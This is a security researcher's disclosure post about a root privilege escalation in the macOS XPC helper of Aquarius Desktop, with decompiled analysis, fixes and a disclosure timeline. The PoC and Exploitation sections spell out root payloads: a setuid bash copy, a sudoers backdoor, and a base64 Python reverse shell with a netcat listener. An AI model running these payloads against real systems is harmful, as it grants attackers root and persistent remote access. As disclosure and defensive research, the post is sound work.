HelperTool XPC Service Local Privilege Escalation in Aquarius Desktop macOS
Note: No exploit code is released publicly, and the intent of this publication is to promote remediation and improve the security posture of the affected software. This disclosure follows the 90-day industry-standard timeline for responsible reporting. Want the details? Keep scrolling. The full timeline, contact history, and instructions for securely requesting the encrypted PoC are available further down the page.
Introduction
As an independent security researcher and avid user of the Acustica Audio plugins, I decided to do a security audit of Acustica Audio’s Aquarius Desktop application. During my research, I discovered a several vulnerabilties. This post is the first in a three part series detailing those findings.
In this part, I focus on a local privilege escalation affecting Aquarius Desktop’s HelperTool XPC service on macOS. This issue allows an unprivileged local user to execute arbitrary code with elevated privileges due to insecure interprocess communication (XPC) handling.
Although the HelperTool is intended to perform legitimate privileged actions such as installing or updating plugins, it fails to properly validate client requests. This oversight enables attackers to exploit the mechanism and escalate privileges to root.
This vulnerability is part of a larger set of design flaws I identified within the Aquarius Desktop ecosystem, particularly around privilege escalation and credential storage. In this post, I’ll walk through the technical analysis of the LPE, provide a proof of concept (PoC), and offer recommendations for remediation.
Vulnerability Overview
The HelperTool is a privileged macOS XPC service bundled with the Aquarius Desktop application. Its purpose is to handle system-level operations such as installing audio plugin components, managing licenses, and modifying protected directories that require administrative privileges.
During testing, I noticed that the HelperTool service was exposing a publicly accessible XPC interface that fails to properly authenticate the calling process. As a result, any local user on the system can send arbitrary messages to the HelperTool, causing it to execute privileged actions on their behalf.
This misconfiguration leads to a Local Privilege Escalation (LPE) vulnerability. An attacker with standard user permissions could exploit this flaw to gain root access or modify protected system files, effectively bypassing macOS’s security model.
Technical analysis
Now, let me explain why the HelperTool is vulnerable, what I observed while reversing it, and why the flaw leads to local privilege escalation.
The Aquarius HelperTool is implemented as a privileged XPC service that runs with elevated privileges (the helper binary is installed and launched by the main application/installer). The helper exposes XPC methods intended to perform privileged operations on behalf of the main process (for example: install or remove files under protected locations, write license files, run installer commands or update the application).
During static and dynamic analysis I observed two primary implementation mistakes that together enable the escalation.
The helper accepts incoming XPC messages without verifying the identity or privileges of the caller. Proper XPC security normally relies on checking the caller’s audit token (e.g. audit_token_t) to confirm the bundle identifier or PID matches an expected trusted client; or using Authorization Services / SMJobBless-style mechanisms where only a signed and authorized process may request privileged operations.
In this helper, the code path that handles incoming requests does not perform an authorization check. Any local process that can connect to the helper’s Mach/XPC service is treated as trusted and may request privileged actions.
Also, the helper constructs command strings and forwards them to the system shell (or otherwise executes them) using APIs that are unsafe when supplied untrusted input. Concatenating user controlled data into a string passed to system() (or equivalent) allows an attacker to inject shell syntax and control execution flow… which turns the XPC method into a remote command execution when the caller is able to send arbitrary arguments.
Combined with the previous issue (no client authentication), this creates a path where a local, unprivileged user can trigger the helper to execute arbitrary commands with the elevated privileges of the helper process.
Insecure XPC Connection Handling
The HelperTool service registers an XPC listener and relies on listener:shouldAcceptNewConnection: to determine whether to allow new clients. In a secure design, this function should enforce strong client validation to verify the connecting process’s code signature, bundle identifier, or Team ID via the audit token.
/* @class HelperTool */
-(int)listener:(int)arg2 shouldAcceptNewConnection:(int)arg3 {
[arg3 retain];
NSLog(@"Acustica Helper Tool::shouldAcceptNewConnection");
r21 = [[NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)] retain];
[r20 setExportedInterface:r21];
[r21 release];
[r20 setExportedObject:arg0];
[r20 resume];
[r20 release];
return 0x1; // Always accepts
}
No Client Authentication
The function checks only that listener == self.listener and that the newConnection object is non‑null. Beyond these checks, no verification of the connecting process is performed.
No Audit Token Validation
macOS provides an audit token on each XPC connection that includes the client’s PID, UID, GID, and code‑signing identity. Secure services (e.g., Apple’s own privileged helpers) use this to ensure only trusted, signed clients can connect. This helper completely ignores the audit token.
Exposed Privileged Interface
As soon as a connection is accepted, the service immediately sets its exported interface to HelperTool and resumes the connection. This makes the entire privileged API surface accessible to any local process, malicious or not.
Because there is no authentication barrier, any local process can connect to the HelperTool service and invoke its privileged methods. Combined with the broken checkAuthorization: logic, this reduces the attack surface to “any user → root” with essentially no friction.
Broken Authorization Logic
The helper attempts to enforce authorization using Apple’s Security.framework, but the implementation is flawed. Below is the relevant decompiled code from checkAuthorization:command:
/* @class HelperTool */
-(int)checkAuthorization:(NSData *)authData command:(int)cmd {
if (cmd == 0x0) {
__assert_rtn("command != nil");
}
if (authData == nil || [authData length] != 0x20) {
return [NSError errorWithDomain:*_NSOSStatusErrorDomain code:-50 userInfo:nil];
}
if (AuthorizationCreateFromExternalForm([authData bytes], &authRef) != errAuthorizationSuccess) {
return [NSError errorWithDomain:*_NSOSStatusErrorDomain code:cmd userInfo:nil];
}
// Retrieves the authorization right string for the requested command
const char *right = [[Common authorizationRightForCommand:cmd] UTF8String];
if (right == NULL) {
__assert_rtn("oneRight.name != NULL");
}
// AuthorizationCopyRights is called with NULL reference
OSStatus result = AuthorizationCopyRights(NULL, &rights, NULL, kAuthorizationFlagDefaults, NULL);
if (result != errAuthorizationSuccess) {
return [NSError errorWithDomain:*_NSOSStatusErrorDomain code:result userInfo:nil];
}
return 0; // Authorization check passes
}
Superficial Input Validation
The function checks that authData is 32 bytes (0x20) long, which corresponds to an AuthorizationExternalForm. However, this validation is syntactic only. It does not verify that the token is genuine or unexpired.
Broken Authorization Reference
Even if AuthorizationCreateFromExternalForm succeeds, the code never actually uses the resulting AuthorizationRef. Instead, it calls AuthorizationCopyRights with a NULL pointer:
AuthorizationCopyRights(NULL, &rights, NULL, flags, NULL);
Passing NULL here effectively skips validation and results in the function returning success regardless of the caller’s privileges.
Assertions Instead of Enforcement
The code contains multiple calls to __assert_rtn(...) for critical conditions (command != nil, oneRight.name != NULL). In release builds, these assertions are either stripped out or only generate runtime exceptions if triggered. They do not provide meaningful security enforcement.
This means that any local client can present any blob resembling an external authorization form (or even bypass this entirely) and still pass the check. The helper effectively grants root level privileges without requiring a valid AuthorizationRef or rights…
Unsafe Command Execution in executeCommand:authorization:withReply:
The most critical flaw lies in the HelperTool’s executeCommand:authorization:withReply: method. Decompiled code shows the following flow:
/* @class HelperTool */
-(int)executeCommand:(NSString *)cmd
authorization:(NSData *)authData
withReply:(id)reply {
NSArray *parts = [cmd componentsSeparatedByString:@","];
NSMutableArray *args = [[NSMutableArray alloc] initWithArray:parts];
[args removeObjectAtIndex:0];
id authCheck = [self checkAuthorization:authData command:cmd];
if (authCheck == nil) {
NSTask *task = [[NSTask alloc] init];
NSString *launchPath = [parts objectAtIndex:0]; // attacker‑controlled
[task setLaunchPath:launchPath];
[task setArguments:args]; // attacker‑controlled
[task setStandardOutput:[NSPipe pipe]];
[task setStandardInput:[NSPipe pipe]];
[task launch]; // runs as root
}
NSLog(@"Acustica Helper Tool protocol::executeCommand: %@", cmd);
reply(authCheck, @"Authorization failed.");
}
Broken Authorization Dependency
The function first calls checkAuthorization:command:, but as shown earlier this routine always succeeds due to its NULL AuthorizationCopyRights usage. In practice, every request passes the authorization step.
Attacker‑Controlled Launch Path and Arguments
The function splits the incoming cmd string on commas, takes the first element as the binary path, and the remaining elements as arguments. No sanitization or whitelisting is applied. Any local attacker can supply arbitrary binaries (e.g. /bin/bash) and arguments.
Execution Sink via NSTask
The attacker‑supplied path is passed directly to NSTask setLaunchPath: and invoked with [task launch]. Because the HelperTool runs as a privileged launchd daemon, this code executes with root privileges!
@"/bin/sh,-c,cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"
The HelperTool executes this as root and create a setuid root shell at /tmp/rootbash. Any user can then run this command below to obtain a persistent root shell:
/tmp/rootbash -p
The game plan is this:
We know that any local process can connect to the privileged HelperTool service because shouldAcceptNewConnection: unconditionally accepts all connections without validation. Thebn, the broken checkAuthorization: function always returns success. It never enforces a valid AuthorizationRef, so every caller is granted access to privileged functionality. Finally, we can invokes executeCommand:authorization:withReply: with malicious arguments. Input is used directly in [task setLaunchPath:] / [task setArguments:] and then executed via [task launch], running with root privileges.
This mean we can just craft a quick exploit so any local user can perform a one shot Local Privilege Escalation (LPE), gaining full root access on affected macOS systems!
Proof of Concept (PoC)
To demonstrate the impact of the vulnerability, I developed a fully working exploit targeting the com.acustica.HelperTool XPC service. This exploit chains together all the flaws observed above to achieve arbitrary command execution with root privileges.
The exploit is implemented as a standalone Objective‑C client. I used the Apple’s NSXPCConnection APIs, to communicates directly with the vulnerable HelperTool service and bypass intended access controls and invoke privileged functionality.
Exploit Steps
- The exploit creates an
AuthorizationRefand serializes it to anAuthorizationExternalFormblob. Due to the flawedcheckAuthorization:command:implementation, any blob of the correct length is accepted as valid, even though no real rights are granted. - An
NSXPCConnectionis created to the Mach servicecom.acustica.HelperToolwithNSXPCConnectionPrivileged. BecauseshouldAcceptNewConnection:always returnsYESwithout validating the client’s audit token, the connection succeeds from any local process. - The exploit invokes the
executeCommand:authorization:withReply:method with crafted payloads. The first comma separated token becomes the binary path and subsequent tokens become arguments. These values are passed directly into[NSTask setLaunchPath:]and[NSTask setArguments:], then launched as root.
The root shell payload creates a setuid root shell at /tmp/rootbash.
@"/bin/sh,-c,cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"
Now we can create a sudo backdoor which grant passwordless sudo access to all users in the staf group:
@"/bin/sh,-c,echo 'staff ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers"
We can even push further with a full reverse shell running with full root privs:
@"/bin/sh,-c,echo '<base64-encoded python reverse shell>' | base64 -d | python3"
Exploitation
Now the fun part.
- We compile the exploit:
gcc -framework Foundation -framework Security acusticaexploit.m -o acusticaexploit - We run it!
./acusticaexploit
Note on Authorization Handling: The PoC may log a failure when attempting to create a valid AuthorizationRef using Apple’s Security.framework APIs (e.g., AuthorizationCreate returning an error). This is expected and does not impact exploitability. The issue lies in the HelperTool’s flawed implementation of checkAuthorization:, which only verifies that the supplied blob is 32 bytes long and then ignores the actual AuthorizationRef. Because of this, any 32‑byte blob is treated as valid authorization. In practice, this means the helper grants access even when no legitimate authorization has been established, which is why the exploit continues successfully despite the “Failed to create authorization” message.
Now, the exploitation success can be confirmed various methods. Beyond privilege escalation through creation of a setuid root shell, the vulnerability can be leveraged to obtain a fully interactive root shell over the network…
We can use a Python reverse shell payload that’s base64‑encoded and injected through the vulnerable executeCommand:authorization:withReply: method:
echo
'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoInJlZGFjdGVkIiwxMzM3KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw==' \ | base64 -d | python3; echo "
We can start a Netcat listener on our attack machine running macOS Sonoma:
nc -vl 1337
Once the payload executed on the target, the listener received an incoming connection and provided a fully interactive root shell:
System Log Verification
To validate exploitation, I monitored the system logs for the vulnerable helper service while running the exploit. Using the log stream command with an appropriate predicate, we can observe the HelperTool processing our supplied input and launching commands as root:
sudo log stream --predicate 'process == "HelperTool" OR process == “com.acustica.HelperTool"' --level debug
Log entries show the service accepting unprivileged client connections and invoke the unsafe command execution path.
The HelperTool unconditionally accepting new XPC connections
com.acustica.HelperTool: Acustica Helper Tool::shouldAcceptNewConnection
The flawed authorization path being hit:
com.acustica.HelperTool: Acustica Helper Tool::checkAuthorization
Attacker‑supplied payloads being executed via the vulnerable command handler:
com.acustica.HelperTool protocol::executeCommand: /bin/sh,-c,cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
com.acustica.HelperTool protocol::executeCommand: /bin/sh,-c,echo 'staff ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
com.acustica.HelperTool protocol::executeCommand: /bin/sh,-c,echo '<base64 reverse shell>' | base64 -d | python3; echo
Remediation
To mitigate this, implement strong client verification controls for all XPC connections. This should include validating the connecting client’s code signature and using the audit token for identity checks, as relying solely on the process ID (PID) is not secure. An example of a robust implementation can be found here project.
In addition, ensure that the hardened runtime is enabled and restrict the use of sensitive entitlements. In particular, entitlements such as:
com.apple.security.cs.disable-library-validationcom.apple.security.cs.allow-dyld-environment-variablescom.apple.private.security.clear-library-validation
Should be avoided unless absolutely required, as they can significantly weaken binary integrity protections. To mitigate command injection vulnerabilities, all command arguments must be strictly validated and safely escaped before execution.
Disclosure timeline
| Date | Action |
|---|---|
| August 2, 2025 | Vulnerability discovered during local security analysis of Aquarius Desktop and its helper components. |
| August 3–5, 2025 | Initial technical validation and proof-of-concept developed confirming local privilege escalation via the HelperTool XPC service. |
| August 7, 2025 | Full vulnerability report prepared, including reproduction steps and secure remediation guidance. |
| August 18, 2025 | Request for CVE to Mitre |
| August 19, 2025 | Responsible disclosure email sent to Acustica Audio with attached reports and researcher PGP key requesting a secure communication channel. |
| August 23, 2025 | No acknowledgment received from the vendor; follow-up email sent. |
| September 2, 2025 | No acknowledgment received from the vendor; follow-up email sent. |
| September 19, 2025 | Escalation attempt submitted to MITRE CVE Program for coordination assistance. |
| October 31, 2025 | No vendor or CNA response received; proceeding with public disclosure in accordance with a 90-day coordinated disclosure policy. |